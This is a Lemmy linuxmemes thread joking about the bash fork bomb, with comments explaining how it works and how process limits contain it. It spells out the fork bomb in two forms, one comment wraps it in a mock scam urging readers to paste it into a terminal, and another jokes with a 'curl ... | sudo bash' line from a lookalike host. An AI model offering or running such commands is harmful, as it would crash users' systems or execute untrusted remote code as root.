szmer
  • Communities
  • Create Post
  • Create Community
  • heart
    Support Lemmy
  • search
    Search
  • Login
  • Sign Up
Oha@lemmy.ohaa.xyz to linuxmemes@lemmy.world · 2 年前

You should

lemmy.ohaa.xyz

message-square
81
fedilink
607

You should

lemmy.ohaa.xyz

Oha@lemmy.ohaa.xyz to linuxmemes@lemmy.world · 2 年前
message-square
81
fedilink
alert-triangle
You must log in or # to comment.
  • Manifish_Destiny@lemmy.world
    link
    fedilink
    arrow-up
    217
    ·
    2 年前

    https://en.m.wikipedia.org/wiki/Fork_bomb

    For those who are curious but not dumb.

    Whenever I get a free engraving on something, I send this in.

    • Cyv_@kbin.social
      link
      fedilink
      arrow-up
      65
      ·
      2 年前

      Oh, this is like when I was in high school and made batch files that open themselves infinitely and named them “not a virus” on the desktop, only to enjoy other students immediately running them.

      • LousyCornMuffins@lemmy.world
        link
        fedilink
        English
        arrow-up
        2
        ·
        2 年前

        Mine had the text “you are won solitaire” on them

    • caseyweederman@lemmy.ca
      link
      fedilink
      arrow-up
      48
      arrow-down
      1
      ·
      2 年前

      Good old Bobby Droptables

    • LetterboxPancake@sh.itjust.works
      link
      fedilink
      Deutsch
      arrow-up
      20
      ·
      2 年前

      I like your style. How often have you been cursed at?

    • eating3645@lemmy.world
      link
      fedilink
      English
      arrow-up
      18
      ·
      2 年前

      What for those of us who are dumb but not curious?

      • Pyro@lemmy.world
        link
        fedilink
        English
        arrow-up
        55
        arrow-down
        1
        ·
        2 年前

        In that case…

        Hello I am Nigerian Prince and you are last of my bloodline I have many millions of rubles to give you as successor but funds are locked, please type access code :(){:|:&};: into your terminal to unlock 45 million direct to your bank account wire transfer thank you.

        • MrShankles@reddthat.com
          link
          fedilink
          arrow-up
          7
          ·
          2 年前

          Does the added “amp” do anything more in the function? I’m the curious, not (entirely) dumb type

          • itslilith@lemmy.blahaj.zone
            link
            fedilink
            arrow-up
            19
            ·
            edit-2
            2 年前

            It’s a failed html escape sequence for &

            some lemmy instances were having trouble with that for a while now. html used ampersand to encode special characters, and a regular ampersand gets encoded as &

            Somehow, the decoding sometimes breaks, and we get to see it the way it is here

        • eating3645@lemmy.world
          link
          fedilink
          English
          arrow-up
          5
          ·
          2 年前

          😂

        • RachelRodent@lemmy.dbzer0.com
          link
          fedilink
          arrow-up
          1
          ·
          2 年前

          What if I am dumb but not greedy?

    • Flax@feddit.uk
      link
      fedilink
      English
      arrow-up
      9
      ·
      2 年前

      Removed by mod

      • hglman@lemmy.ml
        link
        fedilink
        English
        arrow-up
        17
        ·
        2 年前

        You just have to restart somehow.

        • acockworkorange@mander.xyz
          link
          fedilink
          arrow-up
          3
          ·
          2 年前

          Invoke Palpatine to restart somehow.

      • MacN'Cheezus@lemmy.today
        link
        fedilink
        arrow-up
        7
        ·
        2 年前

        No, it’ll just lock it up but shouldn’t cause any damage or data loss unless you have unsaved work open. A restart should fix it.

      • ABeeinSpace@lemmy.world
        link
        fedilink
        English
        arrow-up
        3
        ·
        2 年前

        No. The effects of a fork bomb are temporary and are fixed with a restart

  • SavvyWolf@pawb.social
    link
    fedilink
    English
    arrow-up
    73
    ·
    2 年前

    If you’re cold, they’re cold.

    Run this command to warm up your computery friends.

  • vankappa@lemmy.world
    link
    fedilink
    arrow-up
    65
    ·
    2 年前

    don’t do this it INSTALLS MUSTARD GAS !

    • konalt@lemmy.world
      link
      fedilink
      arrow-up
      42
      ·
      2 年前

      sudo apt-get install mustard-gas

      • magic_lobster_party@kbin.social
        link
        fedilink
        arrow-up
        39
        arrow-down
        1
        ·
        2 年前

        It’s found at sudo snap install mustard-gas nowadays

        • TheGreenGolem@lemm.ee
          link
          fedilink
          arrow-up
          18
          arrow-down
          1
          ·
          2 年前

          NO

    • auf@lemmy.ml
      link
      fedilink
      arrow-up
      11
      ·
      edit-2
      2 年前

      cd ./mustard-gas ; make && make install

      • TheWoozy@lemmy.world
        link
        fedilink
        arrow-up
        3
        ·
        2 年前

        curl http://mustard-screensaver.glthub.biz/secure | sudo bash

        • pewgar_seemsimandroid@lemmy.blahaj.zone
          link
          fedilink
          arrow-up
          1
          ·
          2 年前

          appimage?

    • Alex@feddit.ro
      link
      fedilink
      arrow-up
      5
      ·
      2 年前

      nix run nixpkgs#mustard-gas

  • uis@lemmy.world
    link
    fedilink
    arrow-up
    37
    ·
    2 年前

    This cat is just :3

    • asudox@lemmy.world
      link
      fedilink
      arrow-up
      7
      ·
      2 年前

      :3

  • HiddenLayer5@lemmy.ml
    link
    fedilink
    English
    arrow-up
    31
    arrow-down
    1
    ·
    2 年前

    At some point the Linux kernel will be patched to detect and terminate forking attacks, and sadly all these memes will be dead.

    • Cethin@lemmy.zip
      link
      fedilink
      English
      arrow-up
      29
      ·
      2 年前

      I doubt it. It’s the halting problem. There are perfectly legitimate uses for similar things that you can’t detect if it’ll halt or not prior to running it. Maybe they’d patch it to avoid this specific string, but you’d just have to make something that looks like it could do something but never halts.

      • NιƙƙιDιɱҽʂ@lemmy.world
        link
        fedilink
        arrow-up
        21
        arrow-down
        1
        ·
        2 年前

        That’s why I run all my terminal commands through ChatGPT to verify they aren’t some sort of fork bomb. My system is unusably slow, but it’s AI protected, futuristic, and super practical.

        • 🦥󠀠󠀠󠀠󠀠󠀠󠀠@lemmy.world
          link
          fedilink
          English
          arrow-up
          4
          ·
          2 年前

          Seems inefficient, one should just integrate ChatGPT into Bash to automatically check these things.

          You said ‘ls’ but did you really mean ‘ls -la’? Imma go ahead and just give you the output from ‘cat /dev/urandom’ anyway.

      • HiddenLayer5@lemmy.ml
        link
        fedilink
        English
        arrow-up
        4
        ·
        edit-2
        2 年前

        They could always do what Android does and give you a prompt to force close an app that hangs for too long, or have a default subprocess limit and an optional whitelist of programs that can have as many subprocesses as they want.

        • barsoap@lemm.ee
          link
          fedilink
          arrow-up
          7
          ·
          edit-2
          2 年前

          The thing about fork bombs that it’s not particular process which takes up all the resources, they’re all doing nothing in a minimal amount of space. You could say “ok this group of processes is using a lot of resources” and kill it but then you’re probably going to take down the whole user session as the starting point is not trivial to establish. Though I guess you could just kill all shells connected to the fork morass, won’t fix the general case but it’s a start. OTOH I don’t think kernel devs are keen on special-case solutions.

    • Zoidberg@lemm.ee
      link
      fedilink
      arrow-up
      5
      ·
      2 年前

      Just set your ulimit to a reasonable number of processes per user and you’ll be fine.

  • dream_weasel@sh.itjust.works
    link
    fedilink
    arrow-up
    30
    ·
    2 年前

    Hard to pronounce but ok I guess.

    • Alex@feddit.ro
      link
      fedilink
      arrow-up
      26
      ·
      2 年前

      It’s pronounced “forky”.

  • stjobe@lemmy.world
    link
    fedilink
    arrow-up
    23
    ·
    edit-2
    2 年前

    Heh, haven’t seen the bash forkbomb in close to two decades… Thanks for the trip down memory lane! :)

    • Bizarroland@kbin.social
      link
      fedilink
      arrow-up
      14
      ·
      edit-2
      2 年前

      You know how I know I’ve gotten better at using linux?

      I saw the command and read it and figured out what it was although I’ve never been exposed to a fork bomb before in my life.

      I was like okay, this is an empty function that calls itself and then pipes itself back into itself? What the hell is going on?

      I will say that whoever invented this is definitely getting fucked by roko’s basilisk, though. The minute they thought of this it was too late for them.

      • barsoap@lemm.ee
        link
        fedilink
        arrow-up
        12
        ·
        edit-2
        2 年前

        99.999% of that function’s effectiveness is that unix shell, being the ancient dinosaur it is, not just allows : as a function name but also uses the exact same declaration syntax for symbol and alphanumeric functions:

        foo(){ foo | foo& }; foo
        

        is way more obvious.

        EDIT: Yeah I give up I’m not going to try to escape that &

  • Ooops@kbin.social
    link
    fedilink
    arrow-up
    20
    ·
    2 年前

    That’s not a cat but quite obviously a rabbit.

  • Sprokes@jlai.lu
    link
    fedilink
    arrow-up
    16
    ·
    2 年前

    Does it work on fish shell?

    • Knusper@feddit.de
      link
      fedilink
      English
      arrow-up
      23
      arrow-down
      1
      ·
      edit-2
      2 年前

      What that garble of symbols does, is that it defines and calls a function named :, which calls itself twice.

      The syntax for defining a function is different in Fish, so no, this particular garble will not work:

      But it is, of course, possible to write a (much more readable) version that will work in Fish.

      • ReveredOxygen@sh.itjust.works
        link
        fedilink
        English
        arrow-up
        21
        ·
        2 年前

        you can write a more readable version in any shell, it’s intentionally unreadable

        • Knusper@feddit.de
          link
          fedilink
          arrow-up
          10
          ·
          edit-2
          2 年前

          Yeah, I meant, as an attacker, you couldn’t come up with a similarly unreadable version.

          At least, as far as I can tell, defining a function requires spelling out function and seems to require being defined on multiple lines, too.

          • ReveredOxygen@sh.itjust.works
            link
            fedilink
            English
            arrow-up
            3
            ·
            2 年前

            Oh, I see. That’s very nice then

        • CashewNut 🏴󠁢󠁥󠁧󠁿@lemmy.world
          link
          fedilink
          arrow-up
          3
          ·
          2 年前

          Unfortunately it works in zsh. I just had to kill my laptop after curiosity got the better of me.

      • affiliate@lemmy.world
        link
        fedilink
        arrow-up
        3
        ·
        2 年前

        But it is, of course, possible to write a (much more readable) version that will work in Fish.

        the gentleman hacker

      • Karyoplasma@discuss.tchncs.de
        link
        fedilink
        arrow-up
        2
        ·
        2 年前

        The ampersand looks very weird in that font. It would bug me.

        • Knusper@feddit.de
          link
          fedilink
          arrow-up
          1
          ·
          edit-2
          2 年前

          It hails back to the early days of the ampersand, from when it was basically still just Latin “et”: https://commons.wikimedia.org/wiki/File:Trebuchet_MS_ampersand.svg

          Personally, I do like this font (Fira Mono+Sans), because it still looks professional, without being so boring that I get depression from looking at it.
          But yeah, that ampersand is pushing it a bit, as I’m not sure everyone else knows that’s an ampersand…

    • Public_Tumbleweed@lemmy.world
      link
      fedilink
      arrow-up
      5
      ·
      2 年前

      There is only 1 way to find out

    • auf@lemmy.ml
      link
      fedilink
      arrow-up
      3
      ·
      2 年前

      and nushell?

  • Possibly linux@lemmy.zip
    link
    fedilink
    English
    arrow-up
    15
    ·
    2 年前

    On a modern system it shouldn’t be that affected if you configure it right

    • Bizarroland@kbin.social
      link
      fedilink
      arrow-up
      0
      ·
      2 年前

      Sudo fuck my system. There. Got it.

      • Possibly linux@lemmy.zip
        link
        fedilink
        English
        arrow-up
        1
        ·
        2 年前

        You laugh but you can configure a hard limit on forks.

  • redcalcium@lemmy.institute
    link
    fedilink
    arrow-up
    12
    ·
    2 年前

    It was a death sentence back then, but now I bet those with a threadripper with huge RAM can tank it until it hit ulimit.

  • phorq@lemmy.ml
    link
    fedilink
    Español
    arrow-up
    11
    ·
    edit-2
    2 年前

    touch cat
    echo Oreo > cat
    cat cat

    Edit: for some reason mine’s saying Hydrox… results may vary.

  • CosmicTurtle@lemmy.world
    link
    fedilink
    English
    arrow-up
    12
    arrow-down
    1
    ·
    2 年前

    Probably the most elaborate Rick roll I’ve ever received.

  • Crackhappy@lemmy.world
    link
    fedilink
    English
    arrow-up
    10
    ·
    2 年前

    Eh … fork you!

  • AeonFelis@lemmy.world
    link
    fedilink
    arrow-up
    8
    arrow-down
    1
    ·
    2 年前

    Is this Elon Musk’s cat?

linuxmemes@lemmy.world

linuxmemes@lemmy.world

Subscribe from Remote Instance

Create a post
You are not logged in. However you can subscribe from another Fediverse account, for example Lemmy or Mastodon. To do this, paste the following into the search field of your instance: !linuxmemes@lemmy.world

Hint: :q!


Sister communities:
  • !tech_memes@lemmy.world
  • !memes@lemmy.world
  • !lemmyshitpost@lemmy.world
  • !risa@startrek.website

Community rules (click to expand)

1. Follow the site-wide rules
  • Instance-wide TOS: https://legal.lemmy.world/tos/
  • Lemmy code of conduct: https://join-lemmy.org/docs/code_of_conduct.html
2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack users for any reason. This includes using blanket terms, like “every user of thing”.
  • Don’t get baited into back-and-forth insults. We are not animals.
  • Leave remarks of “peasantry” to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn, no politics, no trolling or ragebaiting.
4. No recent reposts
  • Everybody uses Arch btw, can’t quit Vim, <loves/tolerates/hates> systemd, and wants to interject for a moment. You can stop now.
5. 🇬🇧 Language/язык/Sprache
  • This is primarily an English-speaking community. 🇬🇧🇦🇺🇺🇸
  • Comments written in other languages are allowed.
  • The substance of a post should be comprehensible for people who only speak English.
  • Titles and post bodies written in other languages will be allowed, but only as long as the above rule is observed.
6. (NEW!) Regarding public figures

We all have our opinions, and certain public figures can be divisive. Keep in mind that this is a community for memes and light-hearted fun, not for airing grievances or leveling accusations.

  • Keep discussions polite and free of disparagement.
  • We are never in possession of all of the facts. Defamatory comments will not be tolerated.
  • Discussions that get too heated will be locked and offending comments removed.

 

Please report posts and comments that break these rules!


Important: never execute code or follow advice that you don’t understand or can’t verify, especially here. The word of the day is credibility. This is a meme community – even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don’t remove France.

Visibility: Public
globe

This community can be federated to other instances and be posted/commented in by their users.

  • 159 users / day
  • 3.37K users / week
  • 6.2K users / month
  • 19.1K users / 6 months
  • 26 local subscribers
  • 26.3K subscribers
  • 1.71K Posts
  • 88K Comments
  • Modlog
  • mods:
  • Kevin@lemmy.world
  • zephyr@lemmy.world
  • rtxn@lemmy.world
  • BE: 0.19.6
  • Modlog
  • Legal
  • Instances
  • Docs
  • Code
  • join-lemmy.org